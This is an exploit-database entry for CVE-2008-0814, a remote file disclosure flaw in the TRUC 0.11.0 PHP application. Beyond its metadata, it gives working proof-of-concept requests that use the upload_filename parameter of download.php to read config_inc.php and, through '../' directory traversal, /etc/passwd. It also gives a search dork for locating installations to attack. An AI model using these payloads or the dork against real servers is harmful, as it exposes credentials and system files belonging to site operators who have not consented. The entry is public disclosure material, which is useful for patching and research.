TRUC 0.11.0 - 'download.php' Remote File Disclosure

Author: GoLd_M
type: webapps
platform: php
port: 
date_added: 2008-02-15 
date_updated: 2016-11-14 
verified: 1 
codes: OSVDB-42184;CVE-2008-0814 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comtruc_0.11.0.tar.gz

### TRUC 0.11.0 (download.php) Remote File Disclosure Vulnerability
### http://switch.dl.sourceforge.net/sourceforge/truc/truc_0.11.0.tar.gz
### POC :
### /download.php?upload_filename=config_inc.php
### /download.php?upload_filename=../../../../../../../../etc/passwd
### Dork : TRUC 0.11.0 :: © 2006 by ASDIS :
### I'm TRYAGI  ;)  -- Tryag.cc/cc

# milw0rm.com [2008-02-16]